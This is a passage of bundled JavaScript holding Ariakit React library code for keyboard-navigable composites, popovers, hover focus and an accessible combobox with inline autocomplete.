8931 items = canReverse ? reverseArray(items) : items;
8932 items = isVerticalDirection ? verticalizeItems(items) : items;
8933 if (activeId2 == null) {
8934 return (_a2 = findFirstEnabledItem2(items)) == null ? void 0 : _a2.id;
8935 }
8936 const activeItem = items.find((item) => item.id === activeId2);
8937 if (!activeItem) {
8938 return (_b = findFirstEnabledItem2(items)) == null ? void 0 : _b.id;
8939 }
8940 const isGrid2 = items.some((item) => item.rowId);
8941 const activeIndex = items.indexOf(activeItem);
8942 const nextItems = items.slice(activeIndex + 1);
8943 const nextItemsInRow = getItemsInRow(nextItems, activeItem.rowId);
8944 if (skip) {
8945 const nextEnabledItemsInRow = getEnabledItems(nextItemsInRow, activeId2);
8946 const nextItem2 = nextEnabledItemsInRow.slice(skip)[0] || // If we can't find an item, just return the last one.
8947 nextEnabledItemsInRow[nextEnabledItemsInRow.length - 1];
8948 return nextItem2 == null ? void 0 : nextItem2.id;
8949 }
8950 const canLoop = focusLoop && (isVerticalDirection ? focusLoop !== "horizontal" : focusLoop !== "vertical");
8951 const canWrap = isGrid2 && focusWrap && (isVerticalDirection ? focusWrap !== "horizontal" : focusWrap !== "vertical");
8952 const hasNullItem = isNextDirection ? (!isGrid2 || isVerticalDirection) && canLoop && includesBaseElement : isVerticalDirection ? includesBaseElement : false;
8953 if (canLoop) {
8954 const loopItems = canWrap && !hasNullItem ? items : getItemsInRow(items, activeItem.rowId);
8955 const sortedItems = flipItems(loopItems, activeId2, hasNullItem);
8956 const nextItem2 = findFirstEnabledItem2(sortedItems, activeId2);
8957 return nextItem2 == null ? void 0 : nextItem2.id;
8958 }
8959 if (canWrap) {
8960 const nextItem2 = findFirstEnabledItem2(
8961 // We can use nextItems, which contains all the next items, including
8962 // items from other rows, to wrap between rows. However, if there is a
8963 // null item (the composite container), we'll only use the next items in
8964 // the row. So moving next from the last item will focus on the
8965 // composite container. On grid composites, horizontal navigation never
8966 // focuses on the composite container, only vertical.
8967 hasNullItem ? nextItemsInRow : nextItems,
8968 activeId2
8969 );
8970 const nextId = hasNullItem ? (nextItem2 == null ? void 0 : nextItem2.id) || null : nextItem2 == null ? void 0 : nextItem2.id;
8971 return nextId;
8972 }
8973 const nextItem = findFirstEnabledItem2(nextItemsInRow, activeId2);
8974 if (!nextItem && hasNullItem) {
8975 return null;
8976 }
8977 return nextItem == null ? void 0 : nextItem.id;
8978 };
8979 return {
8980 ...collection,
8981 ...composite,
8982 setBaseElement: (element) => composite.setState("baseElement", element),
8983 setActiveId: (id) => composite.setState("activeId", id),
8984 move: (id) => {
8985 if (id === void 0) return;
8986 composite.setState("activeId", id);
8987 composite.setState("moves", (moves) => moves + 1);
8988 },
8989 first: () => {
8990 var _a2;
8991 return (_a2 = findFirstEnabledItem2(composite.getState().renderedItems)) == null ? void 0 : _a2.id;
8992 },
8993 last: () => {
8994 var _a2;
8995 return (_a2 = findFirstEnabledItem2(reverseArray(composite.getState().renderedItems))) == null ? void 0 : _a2.id;
8996 },
8997 next: (options) => {
8998 if (options !== void 0 && typeof options === "number") {
8999 options = { skip: options };
9000 }
9001 return getNextId("next", options);
9002 },
9003 previous: (options) => {
9004 if (options !== void 0 && typeof options === "number") {
9005 options = { skip: options };
9006 }
9007 return getNextId("previous", options);
9008 },
9009 down: (options) => {
9010 if (options !== void 0 && typeof options === "number") {
9011 options = { skip: options };
9012 }
9013 return getNextId("down", options);
9014 },
9015 up: (options) => {
9016 if (options !== void 0 && typeof options === "number") {
9017 options = { skip: options };
9018 }
9019 return getNextId("up", options);
9020 }
9021 };
9022 }
9023
9024 // node_modules/@ariakit/react-core/esm/__chunks/IQYAUKXT.js
9025 function useCompositeStoreOptions(props) {
9026 const id = useId3(props.id);
9027 return { id, ...props };
9028 }
9029 function useCompositeStoreProps(store, update2, props) {
9030 store = useCollectionStoreProps(store, update2, props);
9031 useStoreProps(store, props, "activeId", "setActiveId");
9032 useStoreProps(store, props, "includesBaseElement");
9033 useStoreProps(store, props, "virtualFocus");
9034 useStoreProps(store, props, "orientation");
9035 useStoreProps(store, props, "rtl");
9036 useStoreProps(store, props, "focusLoop");
9037 useStoreProps(store, props, "focusWrap");
9038 useStoreProps(store, props, "focusShift");
9039 return store;
9040 }
9041
9042 // node_modules/@ariakit/react-core/esm/__chunks/CVCFNOHX.js
9043 var import_react15 = __toESM(require_react(), 1);
9044 var ComboboxListRoleContext = (0, import_react15.createContext)(
9045 void 0
9046 );
9047 var ctx6 = createStoreContext(
9048 [PopoverContextProvider, CompositeContextProvider],
9049 [PopoverScopedContextProvider, CompositeScopedContextProvider]
9050 );
9051 var useComboboxContext = ctx6.useContext;
9052 var useComboboxScopedContext = ctx6.useScopedContext;
9053 var useComboboxProviderContext = ctx6.useProviderContext;
9054 var ComboboxContextProvider = ctx6.ContextProvider;
9055 var ComboboxScopedContextProvider = ctx6.ScopedContextProvider;
9056 var ComboboxItemValueContext = (0, import_react15.createContext)(
9057 void 0
9058 );
9059 var ComboboxItemCheckedContext = (0, import_react15.createContext)(false);
9060
9061 // node_modules/@ariakit/core/esm/__chunks/KMAUV3TY.js
9062 function createDialogStore(props = {}) {
9063 return createDisclosureStore(props);
9064 }
9065
9066 // node_modules/@ariakit/react-core/esm/__chunks/4NYSH4UO.js
9067 function useDialogStoreProps(store, update2, props) {
9068 return useDisclosureStoreProps(store, update2, props);
9069 }
9070
9071 // node_modules/@ariakit/core/esm/__chunks/BFGNM53A.js
9072 function createPopoverStore({
9073 popover: otherPopover,
9074 ...props
9075 } = {}) {
9076 const store = mergeStore(
9077 props.store,
9078 omit2(otherPopover, [
9079 "arrowElement",
9080 "anchorElement",
9081 "contentElement",
9082 "popoverElement",
9083 "disclosureElement"
9084 ])
9085 );
9086 throwOnConflictingProps(props, store);
9087 const syncState = store == null ? void 0 : store.getState();
9088 const dialog = createDialogStore({ ...props, store });
9089 const placement = defaultValue(
9090 props.placement,
9091 syncState == null ? void 0 : syncState.placement,
9092 "bottom"
9093 );
9094 const initialState = {
9095 ...dialog.getState(),
9096 placement,
9097 currentPlacement: placement,
9098 anchorElement: defaultValue(syncState == null ? void 0 : syncState.anchorElement, null),
9099 popoverElement: defaultValue(syncState == null ? void 0 : syncState.popoverElement, null),
9100 arrowElement: defaultValue(syncState == null ? void 0 : syncState.arrowElement, null),
9101 rendered: /* @__PURE__ */ Symbol("rendered")
9102 };
9103 const popover = createStore(initialState, dialog, store);
9104 return {
9105 ...dialog,
9106 ...popover,
9107 setAnchorElement: (element) => popover.setState("anchorElement", element),
9108 setPopoverElement: (element) => popover.setState("popoverElement", element),
9109 setArrowElement: (element) => popover.setState("arrowElement", element),
9110 render: () => popover.setState("rendered", /* @__PURE__ */ Symbol("rendered"))
9111 };
9112 }
9113
9114 // node_modules/@ariakit/react-core/esm/__chunks/B6FLPFJM.js
9115 function usePopoverStoreProps(store, update2, props) {
9116 useUpdateEffect(update2, [props.popover]);
9117 useStoreProps(store, props, "placement");
9118 return useDialogStoreProps(store, update2, props);
9119 }
9120
9121 // node_modules/@ariakit/react-core/esm/__chunks/4POTBZ2J.js
9122 var TagName7 = "div";
9123 var usePopoverAnchor = createHook(
9124 function usePopoverAnchor2({ store, ...props }) {
9125 const context = usePopoverProviderContext();
9126 store = store || context;
9127 props = {
9128 ...props,
9129 ref: useMergeRefs(store == null ? void 0 : store.setAnchorElement, props.ref)
9130 };
9131 return props;
9132 }
9133 );
9134 var PopoverAnchor = forwardRef22(function PopoverAnchor2(props) {
9135 const htmlProps = usePopoverAnchor(props);
9136 return createElement3(TagName7, htmlProps);
9137 });
9138
9139 // node_modules/@ariakit/react-core/esm/__chunks/X6LNAU2F.js
9140 var import_react16 = __toESM(require_react(), 1);
9141 var TagName8 = "div";
9142 function getMouseDestination(event) {
9143 const relatedTarget = event.relatedTarget;
9144 if ((relatedTarget == null ? void 0 : relatedTarget.nodeType) === Node.ELEMENT_NODE) {
9145 return relatedTarget;
9146 }
9147 return null;
9148 }
9149 function hoveringInside(event) {
9150 const nextElement = getMouseDestination(event);
9151 if (!nextElement) return false;
9152 return contains(event.currentTarget, nextElement);
9153 }
9154 var symbol2 = /* @__PURE__ */ Symbol("composite-hover");
9155 function movingToAnotherItem(event) {
9156 let dest = getMouseDestination(event);
9157 if (!dest) return false;
9158 do {
9159 if (hasOwnProperty(dest, symbol2) && dest[symbol2]) return true;
9160 dest = dest.parentElement;
9161 } while (dest);
9162 return false;
9163 }
9164 var useCompositeHover = createHook(
9165 function useCompositeHover2({
9166 store,
9167 focusOnHover = true,
9168 blurOnHoverEnd = !!focusOnHover,
9169 ...props
9170 }) {
9171 const context = useCompositeContext();
9172 store = store || context;
9173 invariant(
9174 store,
9175 "CompositeHover must be wrapped in a Composite component."
9176 );
9177 const isMouseMoving = useIsMouseMoving();
9178 const onMouseMoveProp = props.onMouseMove;
9179 const focusOnHoverProp = useBooleanEvent(focusOnHover);
9180 const onMouseMove = useEvent((event) => {
9181 onMouseMoveProp == null ? void 0 : onMouseMoveProp(event);
9182 if (event.defaultPrevented) return;
9183 if (!isMouseMoving()) return;
9184 if (!focusOnHoverProp(event)) return;
9185 if (!hasFocusWithin(event.currentTarget)) {
9186 const baseElement = store == null ? void 0 : store.getState().baseElement;
9187 if (baseElement && !hasFocus(baseElement)) {
9188 baseElement.focus();
9189 }
9190 }
9191 store == null ? void 0 : store.setActiveId(event.currentTarget.id);
9192 });
9193 const onMouseLeaveProp = props.onMouseLeave;
9194 const blurOnHoverEndProp = useBooleanEvent(blurOnHoverEnd);
9195 const onMouseLeave = useEvent((event) => {
9196 var _a;
9197 onMouseLeaveProp == null ? void 0 : onMouseLeaveProp(event);
9198 if (event.defaultPrevented) return;
9199 if (!isMouseMoving()) return;
9200 if (hoveringInside(event)) return;
9201 if (movingToAnotherItem(event)) return;
9202 if (!focusOnHoverProp(event)) return;
9203 if (!blurOnHoverEndProp(event)) return;
9204 store == null ? void 0 : store.setActiveId(null);
9205 (_a = store == null ? void 0 : store.getState().baseElement) == null ? void 0 : _a.focus();
9206 });
9207 const ref = (0, import_react16.useCallback)((element) => {
9208 if (!element) return;
9209 element[symbol2] = true;
9210 }, []);
9211 props = {
9212 ...props,
9213 ref: useMergeRefs(ref, props.ref),
9214 onMouseMove,
9215 onMouseLeave
9216 };
9217 return removeUndefinedValues(props);
9218 }
9219 );
9220 var CompositeHover = memo22(
9221 forwardRef22(function CompositeHover2(props) {
9222 const htmlProps = useCompositeHover(props);
9223 return createElement3(TagName8, htmlProps);
9224 })
9225 );
9226
9227 // node_modules/@ariakit/react-core/esm/combobox/combobox.js
9228 var import_react17 = __toESM(require_react(), 1);
9229 var TagName9 = "input";
9230 function isFirstItemAutoSelected(items, activeValue, autoSelect) {
9231 if (!autoSelect) return false;
9232 const firstItem = items.find((item) => !item.disabled && item.value);
9233 return (firstItem == null ? void 0 : firstItem.value) === activeValue;
9234 }
9235 function hasCompletionString(value, activeValue) {
9236 if (!activeValue) return false;
9237 if (value == null) return false;
9238 value = normalizeString(value);
9239 return activeValue.length > value.length && activeValue.toLowerCase().indexOf(value.toLowerCase()) === 0;
9240 }
9241 function isInputEvent(event) {
9242 return event.type === "input";
9243 }
9244 function isAriaAutoCompleteValue(value) {
9245 return value === "inline" || value === "list" || value === "both" || value === "none";
9246 }
9247 function getDefaultAutoSelectId(items) {
9248 const item = items.find((item2) => {
9249 var _a;
9250 if (item2.disabled) return false;
9251 return ((_a = item2.element) == null ? void 0 : _a.getAttribute("role")) !== "tab";
9252 });
9253 return item == null ? void 0 : item.id;
9254 }
9255 var useCombobox = createHook(
9256 function useCombobox2({
9257 store,
9258 focusable = true,
9259 autoSelect: autoSelectProp = false,
9260 getAutoSelectId,
9261 setValueOnChange,
9262 showMinLength = 0,
9263 showOnChange,
9264 showOnMouseDown,
9265 showOnClick = showOnMouseDown,
9266 showOnKeyDown,
9267 showOnKeyPress = showOnKeyDown,
9268 blurActiveItemOnClick,
9269 setValueOnClick = true,
9270 moveOnKeyPress = true,
9271 autoComplete = "list",
9272 ...props
9273 }) {
9274 const context = useComboboxProviderContext();
9275 store = store || context;
9276 invariant(
9277 store,
9278 "Combobox must receive a `store` prop or be wrapped in a ComboboxProvider component."
9279 );
9280 const ref = (0, import_react17.useRef)(null);
9281 const [valueUpdated, forceValueUpdate] = useForceUpdate();
9282 const canAutoSelectRef = (0, import_react17.useRef)(false);
9283 const composingRef = (0, import_react17.useRef)(false);
9284 const autoSelect = store.useState(
9285 (state) => state.virtualFocus && autoSelectProp
9286 );
9287 const inline = autoComplete === "inline" || autoComplete === "both";
9288 const [canInline, setCanInline] = (0, import_react17.useState)(inline);
9289 useUpdateLayoutEffect(() => {
9290 if (!inline) return;
9291 setCanInline(true);
9292 }, [inline]);
9293 const storeValue = store.useState("value");
9294 const prevSelectedValueRef = (0, import_react17.useRef)(void 0);
9295 (0, import_react17.useEffect)(() => {
9296 return sync(store, ["selectedValue", "activeId"], (_, prev) => {
9297 prevSelectedValueRef.current = prev.selectedValue;
9298 });
9299 }, []);
9300 const inlineActiveValue = store.useState((state) => {
9301 var _a;
9302 if (!inline) return;
9303 if (!canInline) return;
9304 if (state.activeValue && Array.isArray(state.selectedValue)) {
9305 if (state.selectedValue.includes(state.activeValue)) return;
9306 if ((_a = prevSelectedValueRef.current) == null ? void 0 : _a.includes(state.activeValue)) return;
9307 }
9308 return state.activeValue;
9309 });
9310 const items = store.useState("renderedItems");
9311 const open = store.useState("open");
9312 const contentElement = store.useState("contentElement");
9313 const value = (0, import_react17.useMemo)(() => {
9314 if (!inline) return storeValue;
9315 if (!canInline) return storeValue;
9316 const firstItemAutoSelected = isFirstItemAutoSelected(
9317 items,
9318 inlineActiveValue,
9319 autoSelect
9320 );
9321 if (firstItemAutoSelected) {
9322 if (hasCompletionString(storeValue, inlineActiveValue)) {
9323 const slice = (inlineActiveValue == null ? void 0 : inlineActiveValue.slice(storeValue.length)) || "";
9324 return storeValue + slice;
9325 }
9326 return storeValue;
9327 }
9328 return inlineActiveValue || storeValue;
9329 }, [inline, canInline, items, inlineActiveValue, autoSelect, storeValue]);
9330 (0, import_react17.useEffect)(() => {
9331 const element = ref.current;
9332 if (!element) return;
9333 const onCompositeItemMove = () => setCanInline(true);
9334 element.addEventListener("combobox-item-move", onCompositeItemMove);
9335 return () => {
9336 element.removeEventListener("combobox-item-move", onCompositeItemMove);
9337 };
9338 }, []);
9339 (0, import_react17.useEffect)(() => {
9340 if (!inline) return;
9341 if (!canInline) return;
9342 if (!inlineActiveValue) return;
9343 const firstItemAutoSelected = isFirstItemAutoSelected(
9344 items,
9345 inlineActiveValue,
9346 autoSelect
9347 );
9348 if (!firstItemAutoSelected) return;
9349 if (!hasCompletionString(storeValue, inlineActiveValue)) return;
9350 let cleanup = noop2;
9351 queueMicrotask(() => {
9352 const element = ref.current;
9353 if (!element) return;
9354 const { start: prevStart, end: prevEnd } = getTextboxSelection(element);
9355 const nextStart = storeValue.length;
9356 const nextEnd = inlineActiveValue.length;
9357 setSelectionRange(element, nextStart, nextEnd);
9358 cleanup = () => {
9359 if (!hasFocus(element)) return;
9360 const { start, end } = getTextboxSelection(element);
9361 if (start !== nextStart) return;
9362 if (end !== nextEnd) return;
9363 setSelectionRange(element, prevStart, prevEnd);
9364 };
9365 });
9366 return () => cleanup();
9367 }, [
9368 valueUpdated,
9369 inline,
9370 canInline,
9371 inlineActiveValue,
9372 items,
9373 autoSelect,
9374 storeValue
9375 ]);
9376 const scrollingElementRef = (0, import_react17.useRef)(null);
9377 const getAutoSelectIdProp = useEvent(getAutoSelectId);
9378 const autoSelectIdRef = (0, import_react17.useRef)(null);
9379 (0, import_react17.useEffect)(() => {
9380 if (!open) return;
9381 if (!contentElement) return;
9382 const scrollingElement = getScrollingElement(contentElement);
9383 if (!scrollingElement) return;
9384 scrollingElementRef.current = scrollingElement;
9385 const onUserScroll = () => {
9386 canAutoSelectRef.current = false;
9387 };
9388 const onScroll = () => {
9389 if (!store) return;
9390 if (!canAutoSelectRef.current) return;
9391 const { activeId } = store.getState();
9392 if (activeId === null) return;
9393 if (activeId === autoSelectIdRef.current) return;
9394 canAutoSelectRef.current = false;
9395 };
9396 const options = { passive: true, capture: true };
9397 scrollingElement.addEventListener("wheel", onUserScroll, options);
9398 scrollingElement.addEventListener("touchmove", onUserScroll, options);
9399 scrollingElement.addEventListener("scroll", onScroll, options);
9400 return () => {
9401 scrollingElement.removeEventListener("wheel", onUserScroll, true);
9402 scrollingElement.removeEventListener("touchmove", onUserScroll, true);
9403 scrollingElement.removeEventListener("scroll", onScroll, true);
9404 };
9405 }, [open, contentElement, store]);
9406 useSafeLayoutEffect(() => {
9407 if (!storeValue) return;
9408 if (composingRef.current) return;
9409 canAutoSelectRef.current = true;
9410 }, [storeValue]);
9411 useSafeLayoutEffect(() => {
9412 if (autoSelect !== "always" && open) return;
9413 canAutoSelectRef.current = open;
9414 }, [autoSelect, open]);
9415 const resetValueOnSelect = store.useState("resetValueOnSelect");
9416 useUpdateEffect(() => {
9417 var _a, _b;
9418 const canAutoSelect = canAutoSelectRef.current;
9419 if (!store) return;
9420 if (!open) return;
9421 if (!canAutoSelect && !resetValueOnSelect) return;
9422 const { baseElement, contentElement: contentElement2, activeId } = store.getState();
9423 if (baseElement && !hasFocus(baseElement)) return;
9424 if (contentElement2 == null ? void 0 : contentElement2.hasAttribute("data-placing")) {
9425 const observer = new MutationObserver(forceValueUpdate);
9426 observer.observe(contentElement2, { attributeFilter: ["data-placing"] });
9427 return () => observer.disconnect();
9428 }
9429 if (autoSelect && canAutoSelect) {
9430 const userAutoSelectId = getAutoSelectIdProp(items);
9431 const autoSelectId = userAutoSelectId !== void 0 ? userAutoSelectId : (_a = getDefaultAutoSelectId(items)) != null ? _a : store.first();
9432 autoSelectIdRef.current = autoSelectId;
9433 store.move(autoSelectId != null ? autoSelectId : null);
9434 } else {
9435 const element = (_b = store.item(activeId || store.first())) == null ? void 0 : _b.element;
9436 if (element && "scrollIntoView" in element) {
9437 element.scrollIntoView({ block: "nearest", inline: "nearest" });
9438 }
9439 }
9440 return;
9441 }, [
9442 store,
9443 open,
9444 valueUpdated,
9445 storeValue,
9446 autoSelect,
9447 resetValueOnSelect,
9448 getAutoSelectIdProp,
9449 items
9450 ]);
9451 (0, import_react17.useEffect)(() => {
9452 if (!inline) return;
9453 const combobox = ref.current;
9454 if (!combobox) return;
9455 const elements = [combobox, contentElement].filter(
9456 (value2) => !!value2
9457 );
9458 const onBlur2 = (event) => {
9459 if (elements.every((el) => isFocusEventOutside(event, el))) {
9460 store == null ? void 0 : store.setValue(value);
9461 }
9462 };
9463 for (const element of elements) {
9464 element.addEventListener("focusout", onBlur2);
9465 }
9466 return () => {
9467 for (const element of elements) {
9468 element.removeEventListener("focusout", onBlur2);
9469 }
9470 };
9471 }, [inline, contentElement, store, value]);
9472 const canShow = (event) => {
9473 const currentTarget = event.currentTarget;
9474 return currentTarget.value.length >= showMinLength;
9475 };
9476 const onChangeProp = props.onChange;
9477 const showOnChangeProp = useBooleanEvent(showOnChange != null ? showOnChange : canShow);
9478 const setValueOnChangeProp = useBooleanEvent(
9479 // If the combobox is combined with tags, the value will be set by the tag
9480 // input component.
9481 setValueOnChange != null ? setValueOnChange : !store.tag
9482 );
9483 const onChange = useEvent((event) => {
9484 onChangeProp == null ? void 0 : onChangeProp(event);
9485 if (event.defaultPrevented) return;
9486 if (!store) return;
9487 const currentTarget = event.currentTarget;
9488 const { value: value2, selectionStart, selectionEnd } = currentTarget;
9489 const nativeEvent = event.nativeEvent;
9490 canAutoSelectRef.current = true;
9491 if (isInputEvent(nativeEvent)) {
9492 if (nativeEvent.isComposing) {
9493 canAutoSelectRef.current = false;
9494 composingRef.current = true;
9495 }
9496 if (inline) {
9497 const textInserted = nativeEvent.inputType === "insertText" || nativeEvent.inputType === "insertCompositionText";
9498 const caretAtEnd = selectionStart === value2.length;
9499 setCanInline(textInserted && caretAtEnd);
9500 }
9501 }
9502 if (setValueOnChangeProp(event)) {
9503 const isSameValue = value2 === store.getState().value;
9504 store.setValue(value2);
9505 queueMicrotask(() => {
9506 setSelectionRange(currentTarget, selectionStart, selectionEnd);
9507 });
9508 if (inline && autoSelect && isSameValue) {
9509 forceValueUpdate();
9510 }
9511 }
9512 if (showOnChangeProp(event)) {
9513 store.show();
9514 }
9515 if (!autoSelect || !canAutoSelectRef.current) {
9516 store.setActiveId(null);
9517 }
9518 });
9519 const onCompositionEndProp = props.onCompositionEnd;
9520 const onCompositionEnd = useEvent((event) => {
9521 canAutoSelectRef.current = true;
9522 composingRef.current = false;
9523 onCompositionEndProp == null ? void 0 : onCompositionEndProp(event);
9524 if (event.defaultPrevented) return;
9525 if (!autoSelect) return;
9526 forceValueUpdate();
9527 });
9528 const onMouseDownProp = props.onMouseDown;
9529 const blurActiveItemOnClickProp = useBooleanEvent(
9530 blurActiveItemOnClick != null ? blurActiveItemOnClick : (() => !!(store == null ? void 0 : store.getState().includesBaseElement))
9531 );
9532 const setValueOnClickProp = useBooleanEvent(setValueOnClick);
9533 const showOnClickProp = useBooleanEvent(showOnClick != null ? showOnClick : canShow);
9534 const onMouseDown = useEvent((event) => {
9535 onMouseDownProp == null ? void 0 : onMouseDownProp(event);
9536 if (event.defaultPrevented) return;
9537 if (event.button) return;
9538 if (event.ctrlKey) return;
9539 if (!store) return;
9540 if (blurActiveItemOnClickProp(event)) {
9541 store.setActiveId(null);
9542 }
9543 if (setValueOnClickProp(event)) {
9544 store.setValue(value);
9545 }
9546 if (showOnClickProp(event)) {
9547 queueBeforeEvent(event.currentTarget, "mouseup", store.show);
9548 }
9549 });
9550 const onKeyDownProp = props.onKeyDown;
9551 const showOnKeyPressProp = useBooleanEvent(showOnKeyPress != null ? showOnKeyPress : canShow);
9552 const onKeyDown = useEvent((event) => {
9553 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
9554 if (!event.repeat) {
9555 canAutoSelectRef.current = false;
9556 }
9557 if (event.defaultPrevented) return;
9558 if (event.ctrlKey) return;
9559 if (event.altKey) return;
9560 if (event.shiftKey) return;
9561 if (event.metaKey) return;
9562 if (!store) return;
9563 const { open: open2 } = store.getState();
9564 if (open2) return;
9565 if (event.key === "ArrowUp" || event.key === "ArrowDown") {
9566 if (showOnKeyPressProp(event)) {
9567 event.preventDefault();
9568 store.show();
9569 }
9570 }
9571 });
9572 const onBlurProp = props.onBlur;
9573 const onBlur = useEvent((event) => {
9574 canAutoSelectRef.current = false;
9575 onBlurProp == null ? void 0 : onBlurProp(event);
9576 if (event.defaultPrevented) return;
9577 });
9578 const id = useId3(props.id);
9579 const ariaAutoComplete = isAriaAutoCompleteValue(autoComplete) ? autoComplete : void 0;
9580 const isActiveItem = store.useState((state) => state.activeId === null);
9581 props = {
9582 id,
9583 role: "combobox",
9584 "aria-autocomplete": ariaAutoComplete,
9585 "aria-haspopup": getPopupRole(contentElement, "listbox"),
9586 "aria-expanded": open,
9587 "aria-controls": contentElement == null ? void 0 : contentElement.id,
9588 "data-active-item": isActiveItem || void 0,
9589 value,
9590 ...props,
9591 ref: useMergeRefs(ref, props.ref),
9592 onChange,
9593 onCompositionEnd,
9594 onMouseDown,
9595 onKeyDown,
9596 onBlur
9597 };
9598 props = useComposite({
9599 store,
9600 focusable,
9601 ...props,
9602 // Enable inline autocomplete when the user moves from the combobox input
9603 // to an item.
9604 moveOnKeyPress: (event) => {
9605 if (isFalsyBooleanCallback(moveOnKeyPress, event)) return false;
9606 if (inline) setCanInline(true);
9607 return true;
9608 }
9609 });
9610 props = usePopoverAnchor({ store, ...props });
9611 return { autoComplete: "off", ...props };
9612 }
9613 );
9614 var Combobox = forwardRef22(function Combobox2(props) {
9615 const htmlProps = useCombobox(props);
9616 return createElement3(TagName9, htmlProps);
9617 });
9618
9619 // node_modules/@ariakit/react-core/esm/__chunks/IBXZ2LQC.js
9620 var import_react18 = __toESM(require_react(), 1);
9621 var import_jsx_runtime56 = __toESM(require_jsx_runtime(), 1);
9622 var TagName10 = "div";
9623 function isSelected(storeValue, itemValue) {
9624 if (itemValue == null) return;
9625 if (storeValue == null) return false;
9626 if (Array.isArray(storeValue)) {
9627 return storeValue.includes(itemValue);
9628 }
9629 return storeValue === itemValue;
9630 }
9631 function getItemRole(popupRole) {
9632 var _a;
9633 const itemRoleByPopupRole = {
9634 menu: "menuitem",
9635 listbox: "option",
9636 tree: "treeitem"
9637 };
9638 const key = popupRole;
9639 return (_a = itemRoleByPopupRole[key]) != null ? _a : "option";
9640 }
9641 var useComboboxItem = createHook(
9642 function useComboboxItem2({
9643 store,
9644 value,
9645 hideOnClick,
9646 setValueOnClick,
9647 selectValueOnClick = true,
9648 resetValueOnSelect,
9649 focusOnHover = false,
9650 moveOnKeyPress = true,
9651 getItem: getItemProp,
9652 ...props
9653 }) {
9654 var _a;
9655 const context = useComboboxScopedContext();
9656 store = store || context;
9657 invariant(
9658 store,
9659 "ComboboxItem must be wrapped in a ComboboxList or ComboboxPopover component."
9660 );
9661 const { resetValueOnSelectState, multiSelectable, selected } = useStoreStateObject(store, {
9662 resetValueOnSelectState: "resetValueOnSelect",
9663 multiSelectable(state) {
9664 return Array.isArray(state.selectedValue);
9665 },
9666 selected(state) {
9667 return isSelected(state.selectedValue, value);
9668 }
9669 });
9670 const getItem = (0, import_react18.useCallback)(
9671 (item) => {
9672 const nextItem = { ...item, value };
9673 if (getItemProp) {
9674 return getItemProp(nextItem);
9675 }
9676 return nextItem;
9677 },
9678 [value, getItemProp]
9679 );
9680 setValueOnClick = setValueOnClick != null ? setValueOnClick : !multiSelectable;
9681 hideOnClick = hideOnClick != null ? hideOnClick : value != null && !multiSelectable;
9682 const onClickProp = props.onClick;
9683 const setValueOnClickProp = useBooleanEvent(setValueOnClick);
9684 const selectValueOnClickProp = useBooleanEvent(selectValueOnClick);
9685 const resetValueOnSelectProp = useBooleanEvent(
9686 (_a = resetValueOnSelect != null ? resetValueOnSelect : resetValueOnSelectState) != null ? _a : multiSelectable
9687 );
9688 const hideOnClickProp = useBooleanEvent(hideOnClick);
9689 const onClick = useEvent((event) => {
9690 onClickProp == null ? void 0 : onClickProp(event);
9691 if (event.defaultPrevented) return;
9692 if (isDownloading(event)) return;
9693 if (isOpeningInNewTab(event)) return;
9694 if (value != null) {
9695 if (selectValueOnClickProp(event)) {
9696 if (resetValueOnSelectProp(event)) {
9697 store == null ? void 0 : store.resetValue();
9698 }
9699 store == null ? void 0 : store.setSelectedValue((prevValue) => {
9700 if (!Array.isArray(prevValue)) return value;
9701 if (prevValue.includes(value)) {
9702 return prevValue.filter((v2) => v2 !== value);
9703 }
9704 return [...prevValue, value];
9705 });
9706 }
9707 if (setValueOnClickProp(event)) {
9708 store == null ? void 0 : store.setValue(value);
9709 }
9710 }
9711 if (hideOnClickProp(event)) {
9712 store == null ? void 0 : store.hide();
9713 }
9714 });
9715 const onKeyDownProp = props.onKeyDown;
9716 const onKeyDown = useEvent((event) => {
9717 onKeyDownProp == null ? void 0 : onKeyDownProp(event);
9718 if (event.defaultPrevented) return;
9719 const baseElement = store == null ? void 0 : store.getState().baseElement;
9720 if (!baseElement) return;
9721 if (hasFocus(baseElement)) return;
9722 const printable = event.key.length === 1;
9723 if (printable || event.key === "Backspace" || event.key === "Delete") {
9724 queueMicrotask(() => baseElement.focus());
9725 if (isTextField(baseElement)) {
9726 store == null ? void 0 : store.setValue(baseElement.value);
9727 }
9728 }
9729 });
9730 if (multiSelectable && selected != null) {
9731 props = {
9732 "aria-selected": selected,
9733 ...props
9734 };
9735 }
9736 props = useWrapElement(
9737 props,
9738 (element) => /* @__PURE__ */ (0, import_jsx_runtime56.jsx)(ComboboxItemValueContext.Provider, { value, children: /* @__PURE__ */ (0, import_jsx_runtime56.jsx)(ComboboxItemCheckedContext.Provider, { value: selected != null ? selected : false, children: element }) }),
9739 [value, selected]
9740 );
9741 const popupRole = (0, import_react18.useContext)(ComboboxListRoleContext);
9742 props = {
9743 role: getItemRole(popupRole),
9744 children: value,
9745 ...props,
9746 onClick,
9747 onKeyDown
9748 };
9749 const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
9750 props = useCompositeItem({
9751 store,
9752 ...props,
9753 getItem,
9754 // Dispatch a custom event on the combobox input when moving to an item
9755 // with the keyboard so the Combobox component can enable inline
9756 // autocompletion.
9757 moveOnKeyPress: (event) => {
9758 if (!moveOnKeyPressProp(event)) return false;
9759 const moveEvent = new Event("combobox-item-move");
9760 const baseElement = store == null ? void 0 : store.getState().baseElement;
9761 baseElement == null ? void 0 : baseElement.dispatchEvent(moveEvent);
9762 return true;
9763 }
9764 });
9765 props = useCompositeHover({ store, focusOnHover, ...props });
9766 return props;
9767 }
9768 );
9769 var ComboboxItem = memo22(
9770 forwardRef22(function ComboboxItem2(props) {
9771 const htmlProps = useComboboxItem(props);
9772 return createElement3(TagName10, htmlProps);
9773 })
9774 );
9775
9776 // node_modules/@ariakit/react-core/esm/combobox/combobox-item-value.js
9777 var import_react19 = __toESM(require_react(), 1);
9778 var import_jsx_runtime57 = __toESM(require_jsx_runtime(), 1);
9779 var TagName11 = "span";
9780 function normalizeValue(value) {
9781 return normalizeString(value).toLowerCase();
9782 }
9783 function getOffsets(string, values) {
9784 const offsets = [];
9785 for (const value of values) {
9786 let pos = 0;
9787 const length = value.length;
9788 while (string.indexOf(value, pos) !== -1) {
9789 const index = string.indexOf(value, pos);
9790 if (index !== -1) {
9791 offsets.push([index, length]);
9792 }
9793 pos = index + 1;
9794 }
9795 }
9796 return offsets;
9797 }
9798 function filterOverlappingOffsets(offsets) {
9799 return offsets.filter(([offset, length], i2, arr) => {
9800 return !arr.some(
